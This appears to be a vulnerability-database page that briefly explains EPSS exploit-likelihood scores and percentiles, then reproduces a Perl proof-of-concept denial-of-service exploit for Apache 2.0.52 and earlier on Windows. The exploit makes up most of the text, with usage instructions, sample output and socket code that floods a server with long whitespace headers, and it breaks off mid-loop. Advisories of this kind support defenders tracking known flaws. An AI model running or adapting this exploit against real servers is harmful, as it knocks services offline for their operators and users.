EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl # Based on -> # apache-squ1rt.c exploit. # # Original credit goes to Chintan Trivedi on the # FullDisclosure mailing list: # http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html # # More info -> # # http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 # Added -> # Added future with we can exploit Apache web servers on windows system. For it you should experiment # with [trys] parameter of this code. # # By default parameter trys = 8000, for DoS Apache web servers on windows system try to # increase this parameter. # # For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this # # C:\perl ap2.0.52_dos.pl 127.0.0.1 30000 # # <+> Prepare to start connect. # <+> Connected to 127.0.0.1 # <+> Send of first part of devil header. # <+> Prepare to DoS with 10000 trys. # <+> Start DoS second part of devil header. # <SOD> |====================> <EOD> # <+> Ok now target web server maybe DoSeD. # # # Note -> # # If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers. # And if you see "Eror 500" you are lucky man :) # # Warnings -> # This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or # use it for attack, or others things. # # Shit -> # My English now is bulls shit :( I try study it :) # # Tested under Window 2000 SP4 with Apache 2.0.49 (Win) # Grests fly to Chintan Trivedi NsT, RST, Void, Unlock and other underground world. # Contact to me at greenwood3[AT]yandex[dot]ru use IO::Socket; if (@ARGV <1) { print "\n ::: ---------------------------------------------- :::\n"; print " ::: Another yet DoS exploit for Apache <= 2.0.52 :::\n"; print " ::: Usage: ap2.0.52_dos.pl <ip> [trys] :::\n"; print " ::: Coded by GreenwooD from Network Security Team :::\n"; print " ::: ---------------------------------------------- :::\n"; exit(); } print "\n <+> Prepare to start connect.\n"; $s = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ARGV[0], PeerPort=>80, Timeout=>6 ) or die " <-> Target web server already DoSeD ??? or can't connect :(\n"; $s->autoflush(); print " <+> Connected to $ARGV[0]\n"; print " <+> Send of first part of devil header.\n"; print $s "GET / HTTP/1.0\n"; $trys = 8000; # Default if ($ARGV[1]) { $trys = $ARGV[1]; } print " <+> Prepare to DoS with $trys trys.\n"; print " <+> Start DoS send second part of devil header.\n"; print " <SOD> |"; $i=0; do { print $s (" " x 8000 .
